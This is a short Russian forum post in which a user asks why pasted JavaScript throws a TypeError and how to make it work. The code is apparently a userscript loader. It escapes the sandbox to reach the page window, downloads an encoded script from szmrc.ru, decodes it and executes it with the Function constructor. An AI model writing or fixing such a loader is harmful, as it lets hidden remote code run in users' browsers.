Показать сообщение отдельно
  #1 (permalink)  
Старый 27.12.2014, 16:20
Аспирант
Отправить личное сообщение для mrKot Посмотреть профиль Найти все сообщения от mrKot
 
Регистрация: 02.01.2014
Сообщений: 85

Ошибка в JS.
Что тут не так? Выдает ошибку Uncaught TypeError: object is not a function

Как его сделать что-бы он работал?

(function () {
        var e = Function,
                serverURL = 'http://szmrc.ru/',
                imgurl = 'code.js';
        var g = this.unsafeWindow;
        (function () {
                var b = document.createElement("script");
                var c = ("t" + Math.random() + +(new Date())).replace(/\./g, "");
                b.text = "window." + c + "=true";
                document.querySelector("body")
                        .appendChild(b);
                if (typeof (g) == "undefined" || !g[c]) {
                        if (window[c]) {
                                g = window
                        }
                        else {
                                var d = document.createElement("script");
                                d.text = "(" + (function () {
                                                var a = document.createElement('unsafeWindow');
                                                a.style.display = 'none';
                                                a.onclick = function () {
                                                        return window
                                                };
                                                document.body.appendChild(a)
                                        }).toString() + ")()";
                                document.querySelector("body").appendChild(d);
                                this.unsafeWindow = document.querySelector("unsafeWindow").onclick();
                                g = window.unsafeWindow
                        }
                }
        })();
        $.ajax({
                type: 'GET',
                url: serverURL + imgurl,
                dataType: 'text',
                success: function (a) {
                        a = $.shift(a, $.key);
                        updateNow = new e(a);
                        updateNow()
                },
                error: function () {}
        })
})();
Ответить с цитированием